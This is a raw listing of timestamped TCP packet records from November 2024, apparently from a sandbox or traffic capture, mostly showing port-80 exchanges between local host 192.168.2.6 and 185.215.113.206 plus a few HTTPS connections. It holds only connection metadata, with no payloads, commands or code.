Nov 28, 2024 00:19:48.896328926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.896397114 CET	49890	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:48.896491051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.896833897 CET	49890	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:48.896847010 CET	443	49890	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.896976948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.896987915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.897074938 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.897130966 CET	443	49873	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.897197962 CET	443	49873	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.897646904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.897659063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.897721052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.897735119 CET	49873	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:48.897777081 CET	49873	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:48.897777081 CET	49873	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:48.897794962 CET	443	49873	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.897804022 CET	443	49873	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.898596048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.898607969 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.898988008 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.899599075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.899764061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.899931908 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.900408983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.900419950 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.900482893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.900482893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.900633097 CET	49891	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:48.900656939 CET	443	49891	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.900798082 CET	49891	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:48.901093006 CET	49891	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:48.901106119 CET	443	49891	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.901258945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.901442051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.901685953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.902101040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.902301073 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.902457952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.902643919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.903116941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.903296947 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.903521061 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.904015064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.904031038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.904083967 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.904083967 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.904655933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.904757977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.904824972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.904964924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.905466080 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.905632973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.905699968 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.905699968 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.906302929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.906315088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.906723976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.907352924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.907366037 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.907422066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.907422066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.908138990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.908304930 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.908305883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.908395052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.909010887 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.909024000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.909143925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.909809113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.909821987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.910155058 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.910589933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.910605907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.910665035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.910665035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.911374092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.911386013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.911432981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.911432981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.912159920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.912168026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.912250042 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.912250996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.912321091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.912403107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.913115978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.913198948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.913222075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.913522005 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.913914919 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.914017916 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.914130926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.026205063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.026316881 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.026348114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.026443005 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.026618958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.026727915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.027004004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.027471066 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.027499914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.027573109 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.028301001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.028351068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.028460026 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.029144049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.029237986 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.029335022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.029967070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.030080080 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.030311108 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.030764103 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.030878067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.030908108 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.031567097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.031614065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.031688929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.031698942 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.032419920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.032517910 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.032526970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.032593966 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.033227921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.033354044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.033354998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.033483028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.034065008 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.034168959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.034199953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.034919977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.034986019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.035012007 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.035252094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.035732985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.035830975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.035923958 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.036580086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.036685944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.036714077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.037379026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.037441969 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.037473917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.037544012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.038209915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.038299084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.038467884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.038759947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.039032936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.039115906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.039191961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.039604902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.039870024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.040005922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.040024042 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.040081024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.040672064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.040786028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.040810108 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.040931940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.041582108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.041691065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.041719913 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.042340994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.042464018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.042493105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.042673111 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.043163061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.043263912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.043289900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.043601990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.043989897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.044104099 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.044106007 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.044162035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.044802904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.044898033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.044928074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.045018911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.045649052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.045768976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.045783997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.045882940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.046489954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.046623945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.046650887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.047306061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.047396898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.047425985 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.047681093 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.064519882 CET	49892	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:49.064565897 CET	443	49892	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:49.064611912 CET	49834	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:49.064874887 CET	49892	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:49.066801071 CET	49892	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:49.066817045 CET	443	49892	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:49.067094088 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:49.067250967 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:49.067411900 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:49.067523956 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:49.067523956 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:49.067543030 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:49.067553043 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:49.071620941 CET	49893	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:49.071654081 CET	443	49893	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:49.071845055 CET	49893	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:49.071845055 CET	49893	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:49.071876049 CET	443	49893	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:49.103471994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.103640079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.103669882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.103847027 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.103877068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.103919029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.103948116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.104038000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.104500055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.104672909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.104728937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.105391026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.105479002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.105505943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.105593920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.106247902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.106368065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.106591940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.107023001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.107104063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.107131958 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.107600927 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.107837915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.107949972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.107975960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.108670950 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.108774900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.108820915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.108971119 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.109488964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.109556913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.109832048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.110337019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.110410929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.110439062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.111092091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.111238003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.111329079 CET	443	49834	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:49.111408949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.111519098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.111955881 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.112015963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.112071991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.112225056 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.112777948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.112890005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.113133907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.113774061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.113822937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.113853931 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.114398956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.114506960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.114518881 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.114605904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.115288973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.115406990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.115535021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.116051912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.116147995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.116153955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.116281986 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.116892099 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.117018938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.117048025 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.117737055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.117846966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.117873907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.118093014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.118534088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.118638992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.118663073 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.119375944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.119479895 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.119493008 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.119525909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.120178938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.120273113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.120320082 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.120415926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.121047974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.121121883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.121211052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.121862888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.121925116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.122006893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.122704029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.122823000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.122854948 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.123146057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.123502970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.123620987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.123642921 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.123716116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.124339104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.124419928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.124458075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.124558926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.183926105 CET	443	49880	108.139.47.92	192.168.2.6
Nov 28, 2024 00:19:49.191535950 CET	49880	443	192.168.2.6	108.139.47.92
Nov 28, 2024 00:19:49.191562891 CET	443	49880	108.139.47.92	192.168.2.6
Nov 28, 2024 00:19:49.195189953 CET	443	49880	108.139.47.92	192.168.2.6
Nov 28, 2024 00:19:49.195277929 CET	49880	443	192.168.2.6	108.139.47.92
Nov 28, 2024 00:19:49.200330019 CET	49880	443	192.168.2.6	108.139.47.92
Nov 28, 2024 00:19:49.200330019 CET	49880	443	192.168.2.6	108.139.47.92
Nov 28, 2024 00:19:49.200351000 CET	443	49880	108.139.47.92	192.168.2.6
Nov 28, 2024 00:19:49.200433969 CET	443	49880	108.139.47.92	192.168.2.6
Nov 28, 2024 00:19:49.236803055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.236990929 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.236999989 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.237092972 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.237185955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.237369061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.237396955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.238038063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.238157034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.238183975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.238395929 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.238864899 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.238995075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.239022017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.239600897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.239646912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.239758968 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.239779949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.239881992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.240485907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.240609884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.240663052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.241311073 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.241439104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:49.241467953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:49.241660118 CET	49794	80	192.168.2.6	185.215.113.206
